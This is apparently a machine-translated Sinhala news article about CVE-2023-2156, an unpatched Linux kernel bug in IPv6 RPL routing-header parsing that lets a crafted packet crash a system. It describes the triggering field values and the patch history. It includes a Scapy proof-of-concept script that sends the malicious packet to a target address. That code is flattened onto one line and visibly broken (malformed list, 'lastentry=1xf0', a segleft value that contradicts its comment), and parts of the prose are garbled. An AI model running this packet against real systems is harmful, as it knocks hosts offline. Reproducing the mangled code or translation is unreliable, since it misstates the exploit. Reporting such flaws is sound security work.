දුරස්ථ කර්නල් බිඳවැටීමට ඉඩ සලසන 0-දින Linux IPv6 ස්ටැක් අවදානම

ලිනක්ස් කර්නලයේ නිවැරදි නොකළ (දින-0) අවදානමක් (CVE-2023-2156) පිළිබඳ තොරතුරු අනාවරණය කර ඇත, විශේෂයෙන් නිර්මාණය කරන ලද IPv6 පැකට් (මරණ පැකට්) යැවීමෙන් පද්ධතිය නැවැත්වීමට ඉඩ සලසයි. ගැටළුව දිස්වන්නේ RPL (Low-Power and Lossy Networks සඳහා Routing Protocol) ප්‍රොටෝකෝලය සඳහා සහය සක්‍රීය කර ඇති විට පමණි, එය බෙදාහැරීම් වලදී පෙරනිමියෙන් අක්‍රිය කර ඇති අතර එය ප්‍රධාන වශයෙන් භාවිතා කරනුයේ රැහැන් රහිත ජාල වල ඉහල පැකට් අලාභයක් සහිතව ක්‍රියාත්මක වන කාවැද්දූ උපාංගවලය.

RPL ප්‍රොටෝකෝල විග්‍රහ කිරීමේ කේතයේ බාහිර දත්ත වැරදි ලෙස සැකසීමෙන් මෙම අවදානම ඇතිවේ, එය ප්‍රකාශිත අසාර්ථකත්වයට සහ කර්නලය භීතිකා තත්වයට පත් කරයි. IPv6 RPL පැකට් ශීර්ෂය විග්‍රහ කිරීමෙන් ලබාගත් දත්ත k_buff (Socket Buffer) ව්‍යුහය තුළ තැබීමේදී, CmprI ක්ෂේත්‍රය 15 ලෙසත්, Segleft ක්ෂේත්‍රය 1 ලෙසත්, CmprE සිට 0 ලෙසත් සකසා ඇත්නම්, ලිපින සහිත 48-byte දෛශිකය විසංයෝජනය වේ. බයිට් 528 දක්වා සහ බෆරය සඳහා වෙන් කර ඇති මතකය ප්‍රමාණවත් නොවන තත්වයක් දිස්වේ. මෙම අවස්ථාවෙහිදී, skb_push ශ්‍රිතය, ව්‍යුහය තුළට දත්ත තල්ලු කිරීම සඳහා භාවිතා කරයි, දත්තවල ප්‍රමාණය සහ බෆරය අතර අසමසම බව පරීක්ෂා කරයි, බෆර සීමාවෙන් ඔබ්බට ලිවීම වැළැක්වීම සඳහා භීතිකාවක් ජනනය කරයි.

උදාහරණ සූරාකෑම: # අපි scapy.all import * import socket වෙතින් පැකට්ටුව සැකසීමට Scapy භාවිතා කරන්නෙමු # ඔබගේ LAN අතුරුමුහුණතෙන් IPv6 භාවිතා කරන්න DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # පැකට්ටුව යැවීමට අපි සොකට් භාවිතා කරමු sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # පැකට්ටුව සකස් කරන්න # වර්ගය = 3 මෙය RPL පැකට්ටුවක් කරයි # ලිපින වල ලිපින 3ක් අඩංගු වේ, නමුත් CmprI 15 නිසා, # සෑම අෂ්ටකයක්ම පළමු ලිපින දෙකේ වේ. සම්පීඩිත ලිපිනයක් ලෙස සැලකේ # Segleft = 1 විස්තාරණය අවුලුවාලීමට # lastentry = 0xf0 CmprI සිට 15 දක්වා සහ CmprE සිට 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting,[“types=3] :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # මෙම නරක පැකට්ටුව යවන්න sockfd.sendto(bytes(p), (DST_ADDR, 0))

කර්නල් සංවර්ධකයින්ට 2022 ජනවාරි මාසයේදී අවදානම පිළිබඳව දැනුම් දී ඇති අතර පසුගිය මාස 15 තුළ ඔවුන් තුන් වතාවක් ගැටලුව විසඳීමට උත්සාහ කර ඇති අතර, 2022 සැප්තැම්බර්, 2022 ඔක්තෝබර් සහ 2023 අප්‍රේල් මාසවලදී පැච් නිකුත් කළ නමුත් සෑම අවස්ථාවකම නිවැරදි කිරීම් සිදු විය. ප්රමාණවත් නොවන අතර අවදානම ප්රතිනිෂ්පාදනය කළ නොහැකි විය. අවසානයේදී, අවදානම නිවැරදි කිරීම සඳහා කාර්යය සම්බන්ධීකරණය කළ ZDI ව්‍යාපෘතිය, කර්නලය තුළ ක්‍රියාකාරී විසඳුමක් ලැබෙන තෙක් බලා නොසිට අවදානම පිළිබඳ සවිස්තරාත්මක තොරතුරු නිකුත් කිරීමට තීරණය කළේය.

මේ අනුව, අවදානම තවමත් නොසැලී පවතී. විශේෂයෙන්ම, 6.4-rc2 කර්නලයට ඇතුළත් කර ඇති පැච් අකාර්යක්ෂමයි. sysctl -a | grep -i rpl_seg_enabled

මූලාශ්රය: opennet.ru

අදහස් එක් කරන්න